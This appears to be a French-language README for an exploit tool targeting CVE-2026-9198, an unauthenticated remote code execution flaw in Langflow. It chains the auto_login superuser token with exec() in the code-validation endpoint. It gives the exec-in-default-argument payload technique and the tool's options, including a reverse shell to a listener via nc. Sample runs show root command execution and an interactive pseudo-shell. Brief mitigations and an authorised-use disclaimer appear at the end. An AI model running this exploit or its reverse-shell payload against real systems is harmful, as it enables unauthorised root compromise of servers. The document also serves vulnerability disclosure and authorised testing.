
Exploit pour CVE-2026-9198, contenant des payloads de preuve de concept et des étapes de validation pour évaluer la vulnérabilité dans les environnements cibles.
Exécution de code à distance non authentifiée dans IBM Langflow OSS (1.0.0 – 1.10.0) sur un déploiement par défaut. Enchaîne deux failles :
GET /api/v1/auto_login génère un JWT SUPERUSER pour tout
appelant sans identifiants dès lors que AUTO_LOGIN est activé (le comportement par défaut
dans Langflow < 1.5).POST /api/v1/validate/code transmet du code Python fourni par l'utilisateur à
exec() sans bac à sable.Combinées (CVE-2026-9198), un attaquant non authentifié obtient l'exécution de code en tant qu'utilisateur
du service Langflow — qui est fréquemment root.
Demande un jeton bearer superutilisateur à /api/v1/auto_login (sans authentification).
Soumet une charge utile à /api/v1/validate/code. Le point de terminaison exec() le code pour
le « valider » ; Python évalue les valeurs d'arguments par défaut au moment de la définition, donc
la charge utile est encapsulée dans un argument par défaut de fonction :
def _v(a=exec('<payload>')): pass
Pour l'exécution de commandes, la charge utile lève une exception dont le message est la
sortie de la commande, que le point de terminaison renvoie dans la réponse
(function.errors[]).
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install nécessaire)AUTO_LOGIN est activé (comportement par défaut pour Langflow < 1.5 ; sur
>= 1.5, il doit être explicitement LANGFLOW_AUTO_LOGIN=true). Si auto_login ne renvoie
aucun jeton, la cible n'est pas exploitable via ce chemin — fournissez un jeton valide avec
-k si vous en avez un.function.errors[] ; stderr est
fusionné dans stdout afin que les commandes en échec affichent tout de même leur erreur.root (fréquent avec
un simple langflow run sous systemd/Docker en tant que root), il s'agit d'un accès root direct à l'hôte.validate/code ne doit pas exec()
d'entrée non fiable et auto_login ne doit pas générer de jetons superutilisateur.LANGFLOW_AUTO_LOGIN=false et configurez de véritables identifiants superutilisateur.root.Ce projet est publié à des fins de tests de sécurité autorisés et d'apprentissage uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur décline toute responsabilité en cas de mauvaise utilisation.